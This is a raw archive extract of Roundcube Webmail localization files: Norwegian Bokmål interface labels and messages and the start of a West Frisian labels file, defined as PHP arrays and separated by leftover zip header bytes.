$labels['savelocalstorage'] = "Lagre i nettleserens lokale minne (midlertidig)";
$labels['advancedoptions'] = 'Avanserte alternativer';
$labels['toggleadvancedoptions'] = 'Veksle visning av avanserte alternativer';
$labels['focusonnewmessage'] = 'Gi nettleservindu fokus ved nye meldinger';
$labels['checkallfolders'] = 'Kontroller alle mapper for nye meldinger';
$labels['displaynext'] = 'Vis neste element i liste etter sletting/flytting';
$labels['defaultfont'] = 'Standard skrifttype i HTML-melding';
$labels['mainoptions'] = 'Hovedinnstillinger';
$labels['browseroptions'] = 'Alternativer for nettleser';
$labels['section'] = 'Kategori';
$labels['maintenance'] = 'Vedlikehold';
$labels['newmessage'] = 'Ny melding';
$labels['signatureoptions'] = 'Innstillinger for signatur';
$labels['whenreplying'] = 'Ved svar på e-post';
$labels['replyempty'] = 'Ikke siter den originale meldingen';
$labels['replytopposting'] = 'start den nye meldingen over orginalmeldingen';
$labels['replytoppostingnoindent'] = 'start den nye meldingen over orginalmeldingen (ingen indentering)';
$labels['replybottomposting'] = 'start den nye meldingen under orginalmeldingen';
$labels['replyremovesignature'] = 'Fjern orginalsignaturen i svar på melding';
$labels['autoaddsignature'] = 'Legg til signatur';
$labels['newmessageonly'] = 'kun på nye meldinger';
$labels['replyandforwardonly'] = 'kun i svar og videresendinger';
$labels['insertsignature'] = 'Sett inn signatur';
$labels['sigbelow'] = 'Plasser signaturen under den siterte meldingen';
$labels['sigseparator'] = 'Tving standard skille i signaturer';
$labels['automarkread'] = 'Merk meldinger som lest';
$labels['afternseconds'] = 'etter $n sekunder';
$labels['reqmdn'] = 'Alltid be om svarkvittering';
$labels['reqdsn'] = 'Alltid be om leveringsstatus';
$labels['replysamefolder'] = 'Legg svar i mappen til meldingen det svares på';
$labels['defaultabook'] = 'Standard adressebok';
$labels['autocompletesingle'] = 'Hopp over alternative e-postadresser i autofullføring';
$labels['listnamedisplay'] = 'Vis kontakter som';
$labels['contactformmode'] = 'Kontaktskjemamodus';
$labels['privatemode'] = 'Privat (Hjem)';
$labels['businessmode'] = 'Arbeid';
$labels['collectedaddresses'] = 'Innsamlede adresser';
$labels['collectedrecipients'] = 'Innsamlede mottakere';
$labels['collectedrecipientsopt'] = 'Lagre utgående epost mottakere i';
$labels['collectedsendersopt'] = 'Lagre pålitelige avsendere i';
$labels['trustedsenders'] = 'Pålitelige avsendere';
$labels['spellcheckbeforesend'] = 'Kontroller staving før en melding sendes';
$labels['spellcheckoptions'] = 'Alternativer for stavekontroll';
$labels['spellcheckignoresyms'] = 'Ignorer ord med symboler';
$labels['spellcheckignorenums'] = 'Ignorer ord med tall';
$labels['spellcheckignorecaps'] = 'Ignorer ord med kun store bokstaver';
$labels['addtodict'] = 'Legg til i ordbok';
$labels['mailtoprotohandler'] = 'Registrer protokollhåndtering for mailto-lenker';
$labels['standardwindows'] = 'Håndter sprettoppvinduer som vanlige vinduer';
$labels['forwardmode'] = 'Meldinger videresendes';
$labels['inline'] = 'i teksten';
$labels['asattachment'] = 'som vedlegg';
$labels['replyallmode'] = 'Standard valg for [Svar alle] knapp';
$labels['replyalldefault'] = 'svar til alle';
$labels['replyalllist'] = 'svar kun til epostliste (hvis funnet)';
$labels['allmessages'] = 'alle meldinger';
$labels['olderxdays'] = 'eldre enn $x dager';
$labels['folder'] = 'Mappe';
$labels['folders'] = 'Mapper';
$labels['foldername'] = 'Mappenavn';
$labels['subscribed'] = 'Abonnere';
$labels['messagecount'] = 'Meldinger';
$labels['create'] = 'Opprett';
$labels['createfolder'] = 'Lag ny mappe';
$labels['managefolders'] = 'Rediger mapper';
$labels['specialfolders'] = 'Spesielle mapper';
$labels['properties'] = 'Egenskaper';
$labels['folderproperties'] = 'Egenskaper for mappe';
$labels['parentfolder'] = 'Overordnet mappe';
$labels['location'] = 'Sted';
$labels['info'] = 'Informasjon';
$labels['getfoldersize'] = 'Klikk for å få mappestørrelse';
$labels['changesubscription'] = 'Klikk for å endre abonnement';
$labels['foldertype'] = 'Mappetype';
$labels['personalfolder'] = 'Privat mappe';
$labels['otherfolder'] = 'Annen brukers mappe';
$labels['sharedfolder'] = 'Offentlig mappe';
$labels['findfolders'] = 'Finn mapper';
$labels['findcontacts'] = 'Finn kontakter';
$labels['findmail'] = 'Finn epostmeldinger';
$labels['namespace.personal'] = 'Personlig';
$labels['namespace.other'] = 'Andre brukere';
$labels['namespace.shared'] = 'Delt';
$labels['dualuselabel'] = 'Kan kun inneholde';
$labels['dualusemail'] = 'meldinger';
$labels['dualusefolder'] = 'mapper';
$labels['generate'] = 'Generer';
$labels['encryptioncreatekey'] = 'Lag et nytt nøkkelpar';
$labels['openmailvelopesettings'] = 'Åpne Mailvelope Innstillinger';
$labels['encryptionprivkeysinmailvelope'] = 'Du har $nr treff på private nøkler lagret i din Mailvelope nøkkelring:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Denne senderidentiteteten har ingen privat PGP nøkkel i din Mailvelope utvidelse. Ønsker du å opprette én nå, for å kunne sende krypterte meldinger?';
$labels['encryption'] = 'Kryptering';
$labels['mailvelopeoptions'] = 'Mailvelope innstillinger';
$labels['mailvelopemainkeyring'] = 'Bruke Mailvelope hovednøkkelring';
$labels['mailvelopenotfound'] = 'Mailvelope utvidelsen er ikke installert/aktivert i din nettleser.';
$labels['sortby'] = 'Sorter etter';
$labels['sortasc'] = 'Eldste først';
$labels['sortdesc'] = 'Nyeste først';
$labels['undo'] = 'Angre';
$labels['installedplugins'] = 'Installerte tillegg';
$labels['plugin'] = 'Tilleggsmodul';
$labels['version'] = 'Versjon';
$labels['source'] = 'Kildekode';
$labels['destination'] = 'Destinasjon';
$labels['license'] = 'Lisensvilkår';
$labels['support'] = 'Få hjelp';
$labels['savedsearches'] = 'Lagrede søk';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Engelsk';
$labels['westerneuropean'] = 'Vesteuropeisk';
$labels['easterneuropean'] = 'Østeuropeisk';
$labels['southeasterneuropean'] = 'Sørøsteuropeisk';
$labels['baltic'] = 'Baltisk';
$labels['cyrillic'] = 'Cyrillisk';
$labels['arabic'] = 'Arabisk';
$labels['greek'] = 'Gresk';
$labels['hebrew'] = 'Hebraisk';
$labels['turkish'] = 'Tyrkisk';
$labels['nordic'] = 'Nordisk';
$labels['thai'] = 'Thailandsk';
$labels['celtic'] = 'Keltisk';
$labels['vietnamese'] = 'Vietnamesisk';
$labels['japanese'] = 'Japansk';
$labels['korean'] = 'Koreansk';
$labels['chinese'] = 'Kinesisk';
$labels['arialabeltopnav'] = 'Vinduskontroll';
$labels['arialabeltasknav'] = 'Applikasjonsoppgave';
$labels['arialabeltoolbar'] = 'Applikasjonsverktøylinje';
$labels['arialabellistnav'] = 'Vis navigering';
$labels['arialabelactivetask'] = 'Aktiv oppgave';
$labels['arialabelmessagessearchfilter'] = 'Epostlistefilter';
$labels['arialabelmailsearchform'] = 'Epostmelding søkeskjema';
$labels['arialabelcontactsearchform'] = 'Kontakt søkeskjema';
$labels['arialabelmailquicksearchbox'] = 'Epost søkeinntast';
$labels['arialabelquicksearchbox'] = 'Søkeinntast';
$labels['arialabelfoldersearchfilter'] = 'Mappelistefilter';
$labels['arialabelfoldersearchform'] = 'Mappe søkeskjema';
$labels['arialabelfolderlist'] = 'Valg av epostmappe';
$labels['arialabelmessagelist'] = 'Epostmelding liste';
$labels['arialabelmailpreviewframe'] = 'Meldingsforhåndsvisning';
$labels['arialabelmailboxmenu'] = 'Mappehåndtering meny';
$labels['arialabellistselectmenu'] = 'Vis valgmeny';
$labels['arialabelthreadselectmenu'] = 'Trådliste meny';
$labels['arialabelmessagelistoptions'] = 'Visning av meldingsliste og sorteringsalternativer';
$labels['arialabelmailimportdialog'] = 'Meldingsimport';
$labels['arialabelmessagenav'] = 'Meldingsnavigering';
$labels['arialabelmessagebody'] = 'Meldingskropp';
$labels['arialabelmessageactions'] = 'Meldingshåndtering';
$labels['arialabelcontactquicksearch'] = 'Kontakt søkeskjema';
$labels['arialabelcontactsearchbox'] = 'Kontakt søkeinntast';
$labels['arialabelmessageheaders'] = 'Meldingshoder';
$labels['arialabelforwardingoptions'] = 'Videresendingsalternativer';
$labels['arialabelreplyalloptions'] = '"Svar til alle"-alternativer';
$labels['arialabelmoremessageactions'] = 'Flere meldingshåndtering';
$labels['arialabelmorecontactactions'] = 'Flere kontaktshåndtering';
$labels['arialabelmarkmessagesas'] = 'Merk markerte medlinger som...';
$labels['arialabelcomposeoptions'] = 'Skrivealternativer';
$labels['arialabelresponsesmenu'] = 'Minimisert svaremeny';
$labels['arialabelattachmentuploadform'] = 'Vedlegg opplastingsskjema';
$labels['arialabelattachmentmenu'] = 'Vedleggsalternativer';
$labels['arialabelmailtomenu'] = 'Epostadressealternativer';
$labels['arialabelattachmentpreview'] = 'Forhåndsvisning av vedlegg';
$labels['ariasummarycomposecontacts'] = 'Vis kontakter og grupper for å velge som mottakere';
$labels['arialabelcontactexportoptions'] = 'Kontakteksport alternativer';
$labels['arialabelabookgroupoptions'] = 'Kontaktliste/gruååe alternativer';
$labels['arialabelpreferencesform'] = 'Preferanseskjema';
$labels['arialabelidentityeditfrom'] = 'Identitet redigeringsskjema';
$labels['arialabelresponseeditfrom'] = 'Svar redigeringsskjema';
$labels['arialabelsearchterms'] = 'Søketermer';
$labels['arialabeldropactionmenu'] = 'Dra-og-slipp håndteringsmeny';
$labels['arialabelheadersmenu'] = 'Mottakerinnlegging (hode) meny';
$labels['arialabelimagetools'] = 'Bildeverktøy';
$labels['helplistnavigation'] = 'Vis tastatursnarveier';
$labels['helplistkeyboardnavigation'] = "Pil opp/ned: Flytt linje i fokus.
Mellomrom: Velg linjen i fokus.
Shift + opp/ned: Legg linjen opp eller ned til valget.
Ctrl + Mellomrom: Legg eller fjern linjen i fokus fra valget.";
$labels['helplistkeyboardnavmessages'] = "Høyre/venstre pil: Utvid/bryt sammen meldingstråden (bare i trådmodus).
Enter: Åpne valgt melding.
Delete: Flytt valgt melding til mappen \"Slettet\".";
$labels['helplistkeyboardnavcontacts'] = "Enter: Åpne valgt kontakt.";
PK
h�\**B�C�C'program/localization/nb_NO/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Det oppsto en feil!';
$messages['loginfailed']  = 'Pålogging mislyktes';
$messages['cookiesdisabled'] = 'Nettleseren din tillater ikke informasjonskapsler (cookies)';
$messages['sessionerror'] = 'Din nettlesertilkobling er ugyldig eller utløpt';
$messages['cookiesmismatch'] = 'Uoverensstemmelse mellom informasjonskapseler oppdaget. Vennligst fjern informasjonskapseler fra din nettleser.';
$messages['storageerror'] = 'Tilkobling til IMAP-tjener mislyktes.';
$messages['servererror'] = 'Tjenerfeil!';
$messages['servererrormsg'] = 'Tjenerfeil: $msg';
$messages['accountlocked'] = 'For mange feilede innloggingsforsøk. Prøv igjen senere.';
$messages['connerror'] = 'Tilkoblingsfeil (Kunne ikke nå server)!';
$messages['dberror'] = 'Databasefeil!';
$messages['dbconnerror'] = 'Tilkoblingsfeil (Kunne ikke nå databasen)!';
$messages['windowopenerror'] = 'Popup-vinduet ble blokkert!';
$messages['requesttimedout'] = 'Forespørselen har fått et tidsavbrudd';
$messages['errorreadonly'] = 'Kunne ikke utføre handlingen. Mappen kan kun leses.';
$messages['errornoperm'] = 'Kan ikke utføre operasjon. Nektet tilgang.';
$messages['erroroverquota'] = 'Kunne ikke utføre handlingen, tomt for diskplass.';
$messages['erroroverquotadelete'] = 'Ingen ledig plass på disk. Bruk SHIFT+DEL for å slette en melding.';
$messages['invalidrequest'] = 'Ugyldig forespørsel! Ingen data ble lagret.';
$messages['invalidhost'] = 'Ugyldig servernavn.';
$messages['nomessagesfound'] = 'Det ble ikke funnet noen meldinger i denne mappen';
$messages['loggedout'] = 'Du er logget ut.';
$messages['mailboxempty'] = 'Mappen er tom';
$messages['nomessages'] = 'Ingen meldinger';
$messages['refreshing'] = 'Oppdaterer...';
$messages['loading'] = 'Laster...';
$messages['uploading'] = 'Laster opp fil...';
$messages['attaching'] = 'Legger til vedlegg...';
$messages['uploadingmany'] = 'Laster opp filer ...';
$messages['loadingdata'] = 'Laster data...';
$messages['checkingmail'] = 'Sjekker for nye meldinger...';
$messages['sendingmessage'] = 'Sender melding...';
$messages['messagesent'] = 'Meldingen ble sendt';
$messages['savingmessage'] = 'Lagrer melding...';
$messages['messagesaved'] = 'Melding er lagret som kladd';
$messages['successfullysaved'] = 'Lagret';
$messages['savingresponse'] = 'Lagrer svartekst...';
$messages['deleteresponseconfirm'] = 'Vil du virkelig å slette denne svarteksten?';
$messages['nocontactselected'] = 'Du har ennå ikke markert en kontakt.';
$messages['addedsuccessfully'] = 'Kontakten ble lagt til i adresseboken';
$messages['contactexists'] = 'Det finnes allerede en kontakt med denne epostadressen';
$messages['contactnameexists'] = 'Det finnes allerede en kontakt med dette navnet';
$messages['blockedimages'] = 'Av sikkerhetsgrunner er bilder lagret på eksterne servere blokkert fra denne e-postmeldingen';
$messages['blockedresources'] = 'Eksterne ressurser ble sperret for å beskytte ditt privatliv.';
$messages['suspiciousemail'] = 'Denne meldingen inneholder mistenkelige epostadresser.';
$messages['bccemail'] = 'De(n) videresendte meldingen(e) inneholder konfidensielle mottakere (Bcc).';
$messages['bouncehint'] = 'Meldingen blir sendt uten endringer, det vil si at de originale kropp, hode og mottakere blir brukt.';
$messages['encryptedmessage'] = 'Dette er en kryptert melding som ikke kan vises. Beklager!';
$messages['externalmessagedecryption'] = 'Denne meldingen er kryptert og kan bli dekryptert ved hjelp av din nettleserutvidelse.';
$messages['nopubkeyfor'] = 'Ingen gyldig offentlig nøkkel ble funnet for $email';
$messages['nopubkeyforsender'] = 'Ingen gyldig offentlig nøkkel ble funnet for din senderidentitet. Ønsker du å kryptere meldingen for mottakerne alene?';
$messages['encryptnoattachments'] = 'Vedlegg som allerede har blitt lastet opp kan ikke krypteres. Vennligst legg dem til på nytt i redigeringen av den krypterte meldingen.';
$messages['searchpubkeyservers'] = 'Ønsker du å søke den savnede nøkkelen i nøkkeldatabasen?';
$messages['encryptpubkeysfound'] = 'Følgende offentlige nøkler har blitt funnet:';
$messages['keyservererror'] = 'Kunne ikke hente nøkkelen fra databasen.';
$messages['keyimportsuccess'] = 'Den offentlig nøkkel $key har blitt importert til din nøkkelring.';
$messages['nocontactsfound'] = 'Ingen kontakter ble funnet';
$messages['contactnotfound'] = 'Den ønskede kontakten ble ikke funnet';
$messages['contactsearchonly'] = 'Du må bruke et søkefelt for å se kontakter fra den valgte kontaktlisten .';
$messages['sendingfailed'] = 'Kunne ikke sende e-posten';
$messages['senttooquickly'] = 'Vennligst vent $sec sekund(er) før du sender denne meldingen';
$messages['errorsavingsent'] = 'En feil oppsto under lagring av sendt melding.';
$messages['errorsaving'] = 'En feil oppsto under lagring.';
$messages['errormoving'] = 'Kunne ikke flytte meldingen(e)';
$messages['errorcopying'] = 'Kunne ikke kopiere meldingen(e)';
$messages['errordeleting'] = 'Kunne ikke slette meldingen(e)';
$messages['errormarking'] = 'Kunne ikke markere meldingen(e)';
$messages['alerttitle'] = 'Advarsel';
$messages['confirmationtitle'] = 'Er du sikker...';
$messages['deletecontactconfirm']  = 'Vil du virkelig slette valgte kontakt(er)?';
$messages['deletegroupconfirm']  = 'Vil du virkelig slette den valgte gruppa?';
$messages['deletemessagesconfirm'] = 'Vil du virkelig slette de(n) valgte meldingen(e)?';
$messages['deletefolderconfirm']  = 'Vil du virkelig slette denne mappen?';
$messages['movefolderconfirm']  = 'Vil du virkelig flytte denne mappen?';
$messages['purgefolderconfirm']  = 'Vil du virkelig slette alle meldingene i denne mappen?';
$messages['contactdeleting'] = 'Sletter kontakt(er) ...';
$messages['groupdeleting'] = 'Sletter gruppe ...';
$messages['folderdeleting'] = 'Sletter mappe...';
$messages['foldermoving'] = 'Flytter mappe...';
$messages['foldersubscribing'] = 'Abonnerer på mappe ...';
$messages['folderunsubscribing'] = 'Avslutter mappeabonnement ...';
$messages['formincomplete'] = 'Skjemaet var ikke fullstendig fylt ut';
$messages['noemailwarning'] = 'Vennligst oppgi en gyldig epostadresse.';
$messages['nonamewarning']  = 'Angi et navn';
$messages['nopagesizewarning'] = 'Angi sidestørrelsen';
$messages['nosenderwarning'] = 'Angi avsenderadressen';
$messages['recipientsadded'] = 'Mottake(e) har blitt lagt til';
$messages['norecipientwarning'] = 'Skriv inn minst én mottaker';
$messages['disclosedrecipwarning'] = 'Alle mottakere vil kunne se hverandre. For å unngå dette og for å beskytte deres privatliv, vennligst bruk Bcc-feltet.';
$messages['disclosedreciptitle'] = 'For mange offentlige mottakere';
$messages['nosubjectwarning']  = 'Emnefeltet er tomt. Vil du skrive det inn nå?';
$messages['nosubjecttitle']  = 'Intet emne';
$messages['nobodywarning'] = 'Send denne meldingen uten tekst?';
$messages['notsentwarning'] = 'Meldingen har ikke blitt sendt og har ulagrede endringer. Ønsker du å forkaste dine endringer?';
$messages['restoresavedcomposedata'] = 'Et tidligere usendt svar ble funnet.\n\nEmne: $subject\nLagret: $date\n\nVil du gjenopprette denne meldingen?';
$messages['nosearchname'] = 'Venligst skriv inn kontaktens navn eller e-postadresse';
$messages['notuploadedwarning'] = 'Ikke alle vedlegg er ferdig opplastet. Vennligst vent eller avbryt opplastingen.';
$messages['searchsuccessful'] = '$nr meldinger funnet';
$messages['contactsearchsuccessful'] = '$nr kontakter funnet.';
$messages['searchnomatch'] = 'Søket ga ingen resultater';
$messages['searching'] = 'Søker...';
$messages['checking'] = 'Sjekker...';
$messages['stillsearching'] = 'Søker fortsatt...';
$messages['nospellerrors'] = 'Fant ingen skrivefeil.';
$messages['folderdeleted'] = 'Mappe slettet.';
$messages['foldersubscribed'] = 'Abonnerte på mappen.';
$messages['folderunsubscribed'] = 'Avsluttet mappeabonnement.';
$messages['folderpurged'] = 'Mappe tømt.';
$messages['folderexpunged'] = 'Mappen ble komprimert.';
$messages['deletedsuccessfully'] = 'Slettet';
$messages['converting'] = 'Fjerner formatering fra meldingen ...';
$messages['messageopenerror'] = 'Kunne ikke hente meldingen fra server';
$messages['filelinkerror'] = 'Feil under opplasting av vedlegget.';
$messages['fileuploaderror'] = 'Feil under opplastning.';
$messages['csvfilemismatch'] = 'Import av flere CSV-filer med ulike felter er ikke støttet.';
$messages['filesizeerror'] = 'Filen overstiger maksimum tillatt filstørrelse ($size)';
$messages['filecounterror'] = 'Det er ikke mulig å laste opp flere enn $count filer på én gang.';
$messages['msgsizeerror'] = 'Feil under lagring av vedlegg. Maksimal størrelse for en melding ($size) ble overskredet.';
$messages['msgsizeerrorfwd'] = 'Maksimal størrelse for en fil ($size) overskredet. $num melding(er) har ikke blitt lagret.';
$messages['copysuccess'] = 'Kopierte $nr kontakter.';
$messages['movesuccess'] = 'Flyttet $nr kontakter.';
$messages['copyerror'] = 'Kunne ikke kopiere noen kontakter.';
$messages['moveerror'] = 'Kunne ikke flytte noen kontakter.';
$messages['sourceisreadonly'] = 'Denne adressekilden er skrivebeskyttet';
$messages['errorsavingcontact'] = 'Kunne ikke lagre kontaktadressen.';
$messages['movingmessage'] = 'Flytter e-post ...';
$messages['copyingmessage'] = 'Kopierer e-post...';
$messages['copyingcontact'] = 'Kopierer kontakt(er)...';
$messages['movingcontact'] = 'Flytter kontakt(er)...';
$messages['deletingmessage'] = 'Sletter melding(er)...';
$messages['markingmessage'] = 'Markerer melding(er) ...';
$messages['addingmember'] = 'Legger til kontakt(er) i gruppa ...';
$messages['removingmember'] = 'Fjerner kontakt(er) fra gruppa ...';
$messages['receiptsent'] = 'Kvittering er sent';
$messages['errorsendingreceipt'] = 'Kunne ikke sende til mottaker';
$messages['deleteidentityconfirm'] = 'Vil du virkelig å slette denne identiteten?';
$messages['nodeletelastidentity'] = 'Du kan ikke slette den siste identiteten din.';
$messages['forbiddencharacter'] = 'Mappenavnet inneholder tegn som ikke er tillatt';
$messages['selectimportfile'] = 'Vennligst velg en fil for opplasting';
$messages['addresswriterror'] = 'Den valgte adresseboken er ikke skrivbar';
$messages['contactaddedtogroup'] = 'Lagt til kontakter til denne gruppen.';
$messages['contactremovedfromgroup'] = 'Kontaktene ble vellykket fjernet fra denne gruppen';
$messages['nogroupassignmentschanged'] = 'Ingen gruppetilordninger ble endret.';
$messages['importwait'] = 'Importerer, vennligst vent...';
$messages['importformaterror'] = 'Import feilet! Den opplastede filen er i feil format.';
$messages['importconfirm'] = '<b>Importerte $inserted kontakter</b>';
$messages['importconfirmskipped'] = '<b>Hoppet over $skipped eksisterende oppføringer</b>';
$messages['importmessagesuccess'] = 'Kopierte $nr meldinger';
$messages['importmessageerror'] = 'Importeringen var mislykket! Den opplastede filen er ikke en gyldig melding, eller er ikke kompatibel med meldingssystemet.';
$messages['opnotpermitted'] = 'Handling ikke tillatt!';
$messages['nofromaddress'] = 'Valgt identitet mangler en epostadresse.';
$messages['editorwarning'] = 'Veksling av redigeringstype kan medføre tap i formateringen. Ønsker du å fortsette?';
$messages['httpreceivedencrypterror'] = 'En uopprettelig feil oppsto. Vennligst kontakt systemansvarlig umiddelbart. <b>Din melding kunne ikke sendes.</b>';
$messages['smtpconnerror'] = 'SMTP-feil ($code): Klarte ikke koble til server';
$messages['smtpautherror'] = 'SMTP-feil ($code): Pålogging feilet';
$messages['smtpfromerror'] = 'SMTP-feil ($code): Kunne ikke sette avsender "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP-feil ($code): Kunne ikke legge til mottaker "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP-feil ($code): Kunne ikke lese mottakerliste';
$messages['smtputf8error'] = 'SMTP-feil: Serveren støtter ikke Unicode i epostadressen.';
$messages['smtpsizeerror'] = 'SMTP-feil: Meldingsstørrelse overskreder servererens grense ($limit)';
$messages['smtperror'] = 'SMTP-feil ($code): $msg';
$messages['emailformaterror'] = 'Ugyldig epostadresse: $email';
$messages['toomanyrecipients'] = 'For mange mottakere. Reduser antall mottakere til $max.';
$messages['maxgroupmembersreached'] = 'Antall gruppemedlemmer overskrider maksgrensen på $max';
$messages['internalerror'] = 'En intern feil har oppstått, prøv igjen senere.';
$messages['contactdelerror'] = 'Kunne ikke slette kontakt(er)';
$messages['contactdeleted'] = 'Kontakt(er) slettet uten feil.';
$messages['contactrestoreerror'] = 'Kunne ikke gjenopprette kontakt(er).';
$messages['contactrestored'] = 'Kontakten(e) gjennomrettet uten feil.';
$messages['groupdeleted'] = 'Gruppen er slettet.';
$messages['grouprenamed'] = 'Gruppen er omdøpt uten feil.';
$messages['groupcreated'] = 'Gruppen er opprettet';
$messages['savedsearchdeleted'] = 'Lagrede søk er slettet.';
$messages['savedsearchdeleteerror'] = 'Kunne ikke slette lagrede søk.';
$messages['savedsearchcreated'] = 'Lagret søk har blitt opprettet.';
$messages['savedsearchcreateerror'] = 'Kunne ikke opprette lagret søk.';
$messages['messagedeleted'] = 'Meldingen(e) er slettet.';
$messages['messagemoved'] = 'Meldingen(e) er  flyttet.';
$messages['messagemovedtotrash'] = 'Meldingen(e) er flyttet til Slettet.';
$messages['messagecopied'] = 'Meldingen(e) er kopiert.';
$messages['messagemarked'] = 'Meldingen(e) er markert.';
$messages['autocompletechars'] = 'Skriv inn minst $min tegn for autofullføring.';
$messages['autocompletemore'] = 'Flere like oppføring funnet. Vennligst skriv flere tegn.';
$messages['namecannotbeempty'] = 'Navn kan ikke være tomt.';
$messages['nametoolong'] = 'Navnet er for langt.';
$messages['namedotforbidden'] = 'Mappenavn kan ikke starte med punktum.';
$messages['folderupdated'] = 'Mappen er oppdatert.';
$messages['foldercreated'] = 'Mappe opprettet.';
$messages['invalidimageformat'] = 'Ikke et gyldig bildeformat.';
$messages['mispellingsfound'] = 'Fant stavefeil i meldingen.';
$messages['parentnotwritable'] = 'Kunne ikke opprette/flytte mappen i valgt overordnet mappe. Ingen tilgangsrettigheter.';
$messages['messagetoobig'] = 'Meldingsdelen er for stor til at den kan prosesseres.';
$messages['attachmentvalidationerror'] = 'Vedlegget er mistenkelig fordi filtypen samsvarer ikke med det som er oppgitt i meldingen. Dersom du ikke stoler på avsenderen, bør du ikke åpne den i nettleseren, fordi den kan være farlig.<br/><br/><em>Forventet: $expected; funnet: $detected</em>';
$messages['noscriptwarning'] = 'NB: Denne webmail-klienten krever Javascript! Skru på Javascript i nettleseren din for å kunne bruke den.';
$messages['messageissent'] = 'Meldingen var allerede sendt, men ikke lagret. Ønsker du å lagre den nå?';
$messages['errnotfound'] = 'Filen ble ikke funnet';
$messages['errnotfoundexplain'] = 'Den forespurte ressursen ble ikke funnet!';
$messages['errfailedrequest'] = 'Forespørselen feilet';
$messages['errauthorizationfailed'] = 'Autorisasjon feilet';
$messages['errunauthorizedexplain'] = 'Kunne ikke verifisere om du har tillatelse til å bruke denne tjenesten!';
$messages['errrequestcheckfailed'] = 'Verifisering av forespørselen feilet';
$messages['errcsrfprotectionexplain'] = "For din sikkerhet, er tilgangen til ressursen beskyttet mot CSRF.\nOm du ser denne meldingen, har du kanskje glemt å logge ut før du forlot webmailen.\n\nMenneskelig samspill er nå nødvendig for å fortsette.";
$messages['errcontactserveradmin'] = 'Vennligst kontakt serveradministratoren.';
$messages['clicktoresumesession'] = 'Klikk her for å fortsette med din forrige sesjon.';
$messages['errcomposesession'] = 'Feil med redigeringssessjon';
$messages['errcomposesessionexplain'] = 'Forespurt redigeringssessjon ble ikke funnet.';
$messages['clicktocompose'] = 'Klikk her for å skrive en ny melding';
$messages['nosupporterror'] = 'Denne funksjonen støttes ikke av din nettleser.';
$messages['siginserted'] = 'Signaturen ble lagt til meldingen.';
$messages['responseinserted'] = 'Svaret ble lagt til meldingen.';
$messages['noresponsesavailable'] = 'Ingen tilgjengelig svar';
$messages['listempty'] = 'Listen er tom.';
$messages['listusebutton'] = 'Bruk "Opprett" knappen for å opprette et element.';
$messages['keypaircreatesuccess'] = 'Et nytt nøkkelpar har blitt opprettet for $identity.';
$messages['emptyattachment'] = 'Vedlegget virker til å være tomt.<br>Vennligst ta kontakt med avsenderen.';
$messages['oauthloginfailed'] = 'OAuth-innlogging feilet. Vennligst prøv på nytt.';
PK
h�\C]1=l=l%program/localization/fy_NL/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Wolkom by $product';
$labels['username'] = 'Brûkersnamme';
$labels['password'] = 'Wachtwurd';
$labels['server'] = 'Tsjinner';
$labels['login'] = 'Ynlogge';
$labels['logout'] = 'Ôfmelde';
$labels['mail'] = 'E-post';
$labels['settings'] = 'Ynstellings';
$labels['addressbook'] = 'Adresboek';
$labels['inbox'] = 'Postfek Yn';
$labels['drafts'] = 'Konsepten';
$labels['sent'] = 'Ferstjoerd';
$labels['trash'] = 'Jiskefet';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Lit echte nammen sjen foar spesjale mappen';
$labels['subject'] = 'Ûnderwerp';
$labels['from'] = 'Fan';
$labels['sender'] = 'Stjoerder';
$labels['to'] = 'Oan';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Antwurd oan';
$labels['followupto'] = 'Oanslutend oan';
$labels['date'] = 'Datum';
$labels['size'] = 'Grutte';
$labels['priority'] = 'Prioriteit';
$labels['organization'] = 'Organisaasje';
$labels['readstatus'] = 'Lêzen status';
$labels['listoptions'] = 'Lyst opsjes...';
$labels['mailboxlist'] = 'Mappen';
$labels['messagesfromto'] = 'Berjochten $from nei $to fan $count';
$labels['threadsfromto'] = 'Rigen $from oan $to fan $count';
$labels['messagenrof'] = 'Berjocht $nr fan $count';
$labels['fromtoshort'] = '$from – $to fan $count';
$labels['copy'] = 'Kopiearje';
$labels['move'] = 'Ferpleatse';
$labels['moveto'] = 'Ferpleatse nei...';
$labels['copyto'] = 'Kopiearje nei...';
$labels['download'] = 'Ynlade';
$labels['open'] = 'Iepenje';
$labels['showattachment'] = 'Toane';
$labels['showanyway'] = 'Dochs toane';
$labels['filename'] = 'Bestânsnamme';
$labels['filesize'] = 'Bestânsgrutte';
$labels['addtoaddressbook'] = 'Oan adresboek tafoegje';
$labels['sun'] = 'si';
$labels['mon'] = 'mo';
$labels['tue'] = 'ti';
$labels['wed'] = 'wo';
$labels['thu'] = 'to';
$labels['fri'] = 'fr';
$labels['sat'] = 'so';
$labels['sunday'] = 'snein';
$labels['monday'] = 'moandei';
$labels['tuesday'] = 'tiisdei';
$labels['wednesday'] = 'woansdei';
$labels['thursday'] = 'tongersdei';
$labels['friday'] = 'freed';
$labels['saturday'] = 'sneon';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mrt';
$labels['apr'] = 'apr';
$labels['may'] = 'mai';
$labels['jun'] = 'jun';
